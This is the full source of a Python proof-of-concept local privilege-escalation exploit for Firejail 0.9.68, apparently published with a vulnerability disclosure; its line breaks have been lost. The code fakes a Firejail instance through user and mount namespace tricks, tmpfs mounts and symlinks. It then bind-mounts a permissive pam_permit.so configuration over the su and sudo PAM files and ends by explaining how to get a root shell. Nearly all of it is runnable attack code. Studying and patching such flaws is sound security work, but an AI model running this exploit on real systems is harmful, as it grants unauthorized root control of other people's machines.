#!/usr/bin/python3 # Author: Matthias Gerstner # # Proof of concept local root exploit for a vulnerability in Firejail 0.9.68 # in joining Firejail instances. # # Prerequisites: # - the firejail setuid-root binary needs to be installed and accessible to the # invoking user # # Exploit: The exploit tricks the Firejail setuid-root program to join a fake # Firejail instance. By using tmpfs mounts and symlinks in the unprivileged # user namespace of the fake Firejail instance the result will be a shell that # lives in an attacker controller mount namespace while the user namespace is # still the initial user namespace and the nonewprivs setting is unset, # allowing to escalate privileges via su or sudo. import os import shutil import stat import subprocess import sys import tempfile import time from pathlib import Path # Print error message and exit with status 1 def printe(*args, **kwargs): kwargs['file'] = sys.stderr print(*args, **kwargs) sys.exit(1) # Return a boolean whether the given file path fulfils the requirements for the # exploit to succeed: # - owned by uid 0 # - size of 1 byte # - the content is a single '1' ASCII character def checkFile(f): s = os.stat(f) if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode): return False with open(f) as fd: ch = fd.read(2) if len(ch) != 1 or ch != "1": return False return True def mountTmpFS(loc): subprocess.check_call("mount -t tmpfs none".split() + [loc]) def bindMount(src, dst): subprocess.check_call("mount --bind".split() + [src, dst]) def checkSelfExecutable(): s = os.stat(__file__) if (s.st_mode & stat.S_IXUSR) == 0: printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run `chmod +x {__file__}` and try again.") # This creates a "helper" sandbox that serves the purpose of making available # a proper "join" file for symlinking to as part of the exploit later on. # # Returns a tuple of (proc, join_file), where proc is the running subprocess # (it needs to continue running until the exploit happened) and join_file is # the path to the join file to use for the exploit. def createHelperSandbox(): # just run a long sleep command in an unsecured sandbox proc = subprocess.Popen( "firejail --noprofile -- sleep 10d".split(), stderr=subprocess.PIPE) # read out the child PID from the stderr output of firejail while True: line = proc.stderr.readline() if not line: raise Exception("helper sandbox creation failed") # on stderr a line of the form "Parent pid , child pid " is output line = line.decode('utf8').strip().lower() if line.find("child pid") == -1: continue child_pid = line.split()[-1] try: child_pid = int(child_pid) break except Exception: raise Exception("failed to determine child pid from helper sandbox") # We need to find the child process of the child PID, this is the # actual sleep process that has an accessible root filesystem in /proc children = f"/proc/{child_pid}/task/{child_pid}/children" # If we are too quick then the child does not exist yet, so sleep a bit for _ in range(10): with open(children) as cfd: line = cfd.read().strip() kids = line.split() if not kids: time.sleep(0.5) continue elif len(kids) != 1: raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}") try: sleep_pid = int(kids[0]) break except Exception: raise Exception("failed to determine sleep child PID from helper sandbox") else: raise Exception(f"sleep child process did not come into existence in {children}") join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join" if not os.path.exists(join_file): raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}") return proc, join_file # Re-executes the current script with unshared user and mount namespaces def reexecUnshared(join_file): if not checkFile(join_file): printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')") os.environ["FIREJOIN_JOINFILE"] = join_file os.environ["FIREJOIN_UNSHARED"] = "1" unshare = shutil.which("unshare") if not unshare: printe("could not find 'unshare' program") cmdline = "unshare -U -r -m".split() cmdline += [__file__] # Re-execute this script with unshared user and mount namespaces subprocess.call(cmdline) if "FIREJOIN_UNSHARED" not in os.environ: # First stage of execution, we first need to fork off a helper sandbox and # an exploit environment checkSelfExecutable() helper_proc, join_file = createHelperSandbox() reexecUnshared(join_file) helper_proc.kill() helper_proc.wait() sys.exit(0) else: # We are in the sandbox environment, the suitable join file has been # forwarded from the first stage via the environment join_file = os.environ["FIREJOIN_JOINFILE"] # We will make /proc/1/ns/user point to this via a symlink time_ns_src = "/proc/self/ns/time" # Make the firejail state directory writeable, we need to place a symlink to # the fake join state file there mountTmpFS("/run/firejail") # Mount a tmpfs over the proc state directory of the init process, to place a # symlink to a fake "user" ns there that firejail thinks it is joining try: mountTmpFS("/proc/1") except subprocess.CalledProcessError: # This is a special case for Fedora Linux where SELinux rules prevent us # from mounting a tmpfs over proc directories. # We can still circumvent this by mounting a tmpfs over all of /proc, but # we need to bind-mount a copy of our own time namespace first that we can # symlink to. with open("/tmp/time", 'w') as _: pass time_ns_src = "/tmp/time" bindMount("/proc/self/ns/time", time_ns_src) mountTmpFS("/proc") FJ_MNT_ROOT = Path("/run/firejail/mnt") # Create necessary intermediate directories os.makedirs(FJ_MNT_ROOT) os.makedirs("/proc/1/ns") # Firejail expects to find the umask for the "container" here, else it fails with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd: umask_fd.write("022") # Create the symlink to the join file to pass Firejail's sanity check os.symlink(join_file, FJ_MNT_ROOT / "join") # Since we cannot join our own user namespace again fake a user namespace that # is actually a symlink to our own time namespace. This works since Firejail # calls setns() without the nstype parameter. os.symlink(time_ns_src, "/proc/1/ns/user") # The process joining our fake sandbox will still have normal user privileges, # but it will be a member of the mount namespace under the control of *this* # script while *still* being a member of the initial user namespace. # 'no_new_privs' won't be set since Firejail takes over the settings of the # target process. # # This means we can invoke setuid-root binaries as usual but they will operate # in a mount namespace under our control. To exploit this we need to adjust # file system content in a way that a setuid-root binary grants us full # root privileges. 'su' and 'sudo' are the most typical candidates for it. # # The tools are hardened a bit these days and reject certain files if not owned # by root e.g. /etc/sudoers. There are various directions that could be taken, # this one works pretty well though: Simply replacing the PAM configuration # with one that will always grant access. with tempfile.NamedTemporaryFile('w') as tf: tf.write("auth sufficient pam_permit.so\n") tf.write("account sufficient pam_unix.so\n") tf.write("session sufficient pam_unix.so\n") # Be agnostic about the PAM config file location in /etc or /usr/etc for pamd in ("/etc/pam.d", "/usr/etc/pam.d"): if not os.path.isdir(pamd): continue for service in ("su", "sudo"): service = Path(pamd) / service if not service.exists(): continue # Bind mount over new "helpful" PAM config over the original bindMount(tf.name, service) print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.") while True: line = sys.stdin.readline() if not line: break